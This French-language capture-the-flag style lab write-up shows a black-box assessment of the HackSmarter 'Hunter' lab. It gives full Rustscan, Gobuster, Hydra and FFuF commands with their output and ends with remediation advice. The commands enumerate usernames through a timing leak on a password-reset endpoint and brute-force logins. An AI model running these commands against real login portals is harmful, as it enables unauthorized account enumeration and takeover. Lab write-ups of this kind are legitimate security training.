ZNote Logo
ZNote
Pentest Labseasy
07-05-2026

Lab Hunter : User Enumeration via Timing Attack

Évaluation black-box d'un portail de connexion externe : énumération d'utilisateurs via analyse de taille de réponse et timing attack sur l'endpoint /reset, permettant d'identifier un username valide depuis une liste OSINT de 301 candidats.

HackSmarter
User Enumeration
Timing Attack
FFuF
Hydra
Rustscan
Gobuster
Burp Suite
Web Security
OSINT

Contexte & Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au Lab
Cible10.1.196.204
TypeBlack-box assessment
ObjectifIdentifier un username valide sur le portail
Asset fourniusernames.txt - 301 candidats OSINT
DifficultéFacile

Scénario : En tant qu'opérateur de la Hack Smarter Red Team, nous menons une évaluation black-box sur le portail de connexion externe d'un client. Les analystes OSINT ont constitué une liste de 301 usernames potentiels. La mission : identifier lequel est valide sur l'application.

Kill chain :

Exploration asset (usernames.txt)
        │
        ▼
Scan Rustscan → SSH + HTTP (Werkzeug/Flask)
        │
        ▼
Content Discovery (Gobuster) → /login + /reset
        │
        ▼
Analyse requêtes (Burp Suite) → structure payload POST
        │
        ▼
Hydra brute-force → non viable (103 000h estimées)
        │
        ▼
FFuF /login → filtre sur taille de réponse
        │
        ▼
FFuF /reset → timing attack (> 750ms)
        │
        ▼
Username valide identifié

1. Exploration de l'Asset

On commence par examiner la liste fournie par les analystes OSINT.

cat usernames.txt

Aperçu usernames.txt

Le fichier contient 301 usernames potentiels compilés depuis des sources OSINT (LinkedIn, GitHub, fuites de données, conventions de nommage d'entreprise). C'est notre seul point de départ - aucun mot de passe, aucun accès initial.


2. Reconnaissance - Scan Rustscan

rustscan -a 10.1.196.204 -- -A -v

Output complet :

Open 10.1.196.204:22
Open 10.1.196.204:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 27:50:e6:2e:73:4b:48:f6:46:59:c9:05:47:c7:32:59 (ECDSA)
|_  256 98:f7:52:3d:ff:6d:73:98:a5:cb:17:85:17:8f:79:98 (ED25519)
80/tcp open  http    syn-ack ttl 62 Werkzeug httpd 3.1.4 (Python 3.10.12)
|_http-title: HackSmarter Portal - Login
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/3.1.4 Python/3.10.12

OS details: Linux 4.15

Analyse :

Deux ports ouverts. Ce qui est notable c'est le serveur HTTP : Werkzeug 3.1.4 / Python 3.10.12. Werkzeug est le serveur de développement de Flask - c'est une application web custom en Python, pas un CMS connu. Cela signifie :

  • Pas de vulnérabilités de CMS à exploiter (pas de Joomla, WordPress, etc.)
  • La logique d'authentification est maison - potentiellement des comportements non standardisés exploitables
  • Les messages d'erreur et les temps de réponse peuvent varier selon la logique interne

SSH est présent mais sans credentials, il n'est pas notre vecteur immédiat.

Portail de connexion HackSmarter


3. Content Discovery

Gobuster - Énumération de répertoires

gobuster dir -u http://10.1.196.204 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt

Output :

===============================================================
Gobuster v3.8.2
===============================================================
[+] Url:      http://10.1.196.204
[+] Wordlist: .../Discovery/Web-Content/big.txt
===============================================================
login    (Status: 405) [Size: 153]
reset    (Status: 200) [Size: 1927]
===============================================================

Résultats Gobuster

Analyse des deux endpoints :

EndpointStatusSignification
/login405Method Not Allowed - seul POST est accepté, pas GET. L'endpoint existe et attend des credentials.
/reset200Formulaire de réinitialisation de mot de passe accessible en GET.

Le status 405 sur /login nous confirme que c'est un formulaire POST only - Gobuster a tenté un GET, le serveur a refusé avec 405. L'endpoint est fonctionnel.

Le /reset en 200 est particulièrement intéressant : un endpoint de réinitialisation de mot de passe implique une logique côté serveur (lookup en base, génération de token, envoi d'email) - c'est un candidat idéal pour une timing attack.


4. Analyse des Requêtes (Burp Suite)

Avant d'automatiser, on intercepte une requête manuelle avec Burp Suite pour comprendre la structure exacte du payload.

Analyse Burp Suite

Structure du payload POST sur /login :

POST /login HTTP/1.1
Host: 10.1.196.204
Content-Type: application/x-www-form-urlencoded

username=test&password=test

Observation clé : Lorsqu'une requête échoue (mauvais credentials), la page est rechargée sans message d'erreur explicite. Il n'y a pas de message "Invalid username" ou "User not found" - l'application semble volontairement évasive sur ce point.

C'est une bonne pratique de sécurité... mais pas suffisante si le comportement interne diffère selon que l'username existe ou non. On va exploiter cette différence.

Pour identifier les techniques d'énumération applicables, nous nous appuyons sur la méthodologie documentée par Vaadata : User Enumeration on Web Applications

Trois vecteurs d'attaque identifiés, par ordre de priorité :

  1. Hydra brute-force - tenter username + password simultanément
  2. FFuF sur /login - chercher une différence de taille de réponse selon l'username
  3. FFuF sur /reset - chercher une différence de temps de réponse (timing attack)

5. Attaque 1 - Hydra Brute-Force

hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt 10.1.196.204 \
  http-post-form "/login:username=^USER^&password=^PASS^:F=Sign In"

Output :

[DATA] max 16 tasks per 1 server, overall 16 tasks
[DATA] 4 317 664 099 login tries (l:301 / p:14 344 399)
[STATUS] 697.00 tries/min, 697 tries in 00:01h, 4 317 663 402 to do in 103 243:60h, 16 active
[STATUS] 752.00 tries/min, 2256 tries in 00:03h, 4 317 661 843 to do in 95 692:52h, 16 active
^C Session file ./hydra.restore was written.

Analyse - pourquoi c'est non viable :

301 usernames × 14 344 399 mots de passe rockyou = 4 317 664 099 combinaisons
À 752 tentatives/min → 5 743 631 min → ~103 000 heures → ~11,7 ans

Ce n'est pas un échec de technique - c'est une limite mathématique. Hydra avec rockyou.txt sur 301 usernames n'est pas viable dans un contexte opérationnel. On abandonne cette voie et on passe à l'énumération d'utilisateurs d'abord - une fois un username valide identifié, un brute-force ciblé sur un seul compte devient envisageable.


6. Attaque 2 - FFuF sur /login (Différence de taille)

Hypothèse : Même si l'application ne retourne pas de message d'erreur différent visuellement, la taille de la réponse HTML pourrait différer légèrement si l'username est valide. Par exemple, un champ de session pré-rempli, un message d'erreur interne caché, ou une redirection différente.

Établir la taille de référence : Une requête avec un username aléatoire retourne 1993 octets. On filtre tout ce qui a cette taille - ce qui reste sera potentiellement différent.

ffuf -w usernames.txt \
  -u http://10.1.196.204/login \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=FUZZ&password=asdf' \
  -fs 1993

Résultat FFuF login

Résultat : Aucune réponse de taille différente - tous les usernames retournent exactement 1993 octets, valides ou non. L'application est cohérente en taille de réponse sur /login. Cette technique n'est pas exploitable ici.

[!NOTE] C'est une bonne pratique de sécurité : uniformiser la taille des réponses d'erreur empêche l'énumération par différentiel de contenu. Mais il reste le vecteur temps...


7. Attaque 3 - FFuF sur /reset (Timing Attack)

Hypothèse : Sur un endpoint de réinitialisation de mot de passe, le serveur effectue différentes actions selon que l'username existe ou non :

Username INVALIDE :
  Requête → lookup BDD → non trouvé → réponse immédiate
  Temps : ~100-200ms

Username VALIDE :
  Requête → lookup BDD → trouvé → génération token → envoi email → réponse
  Temps : ~750ms ou plus (dépend du serveur mail)

Cette différence de traitement côté serveur crée une fuite d'information temporelle - même si la réponse HTTP retournée est identique dans les deux cas.

Première passe - sans filtre de temps :

ffuf -w usernames.txt \
  -u http://10.1.196.204/reset \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=FUZZ'

FFuF reset sans filtre

On observe les temps de réponse dans les résultats. La majorité des requêtes répondent en moins de 200ms, mais certaines semblent plus lentes.

Deuxième passe - filtre sur le temps de réponse :

On relance en gardant uniquement les réponses dont le temps est supérieur à 750ms (-ft '<750' filtre tout ce qui est inférieur à 750ms, donc on garde ce qui est ≥ 750ms) :

ffuf -w usernames.txt \
  -u http://10.1.196.204/reset \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=FUZZ' \
  -ft '<750'

Résultat timing attack - username trouvé

Plusieurs noms d'utilisateurs dépassent le seuil de 750ms, mais nous isolons celui qui présente le temps de réponse le plus élevé et le plus constant — c'est notre cible.

[!WARNING] Note sur la fiabilité des timing attacks : Les résultats peuvent varier selon la charge serveur et la latence réseau. Si le réseau est instable, plusieurs faux positifs peuvent apparaître. Il est recommandé de répéter l'attaque 2-3 fois et de ne retenir que les usernames qui apparaissent systématiquement.


8. Synthèse

Ce qui a fonctionné

TechniqueRésultatRaison
Hydra brute-forceNon viable4,3 milliards de combinaisons = 11,7 ans
FFuF /login (taille)Pas de différenceApp uniformise la taille des réponses d'erreur
FFuF /reset (timing)Username trouvéDélai serveur révèle l'existence du compte

Prochaine étape

Username identifié → brute-force ciblé sur ce seul compte avec une wordlist adaptée (passwords courants, variations du nom, politique de l'entreprise).


9. Conclusion & Remédiation

Leçon clé

L'application a correctement implémenté l'uniformisation des messages d'erreur et des tailles de réponse - ce qui a rendu la technique par différentiel de contenu inefficace. Mais elle a oublié d'uniformiser les temps de réponse, révélant ainsi quels usernames existent via une timing attack.

C'est l'erreur classique : protéger ce qu'on voit (messages, taille) mais oublier ce qu'on ne voit pas (temps de traitement).

Remédiations

VecteurProblèmeRemédiation
Endpoint /resetTemps de réponse différent selon usernameAjouter un délai artificiel fixe (time.sleep(1)) avant toute réponse, quelle que soit l'issue
Politique de réponseTraitement asynchrone non uniformeDéléguer l'envoi d'email à une queue asynchrone - la réponse HTTP est immédiate dans tous les cas
Rate limiting absentAucune limite sur les tentatives /resetImplémenter un rate limit (ex: 3 requêtes/IP/heure sur /reset)
Pas de CAPTCHAFFuF peut tourner librementAjouter un CAPTCHA ou un challenge sur les formulaires sensibles

[!NOTE] La timing attack sur les endpoints de reset est documentée dans l'OWASP Testing Guide (OTG-IDENT-004 - Testing for Account Enumeration). C'est une vulnérabilité fréquente parce que les développeurs pensent naturellement à uniformiser les messages, pas les temps de traitement.


Writeup rédigé par ZCook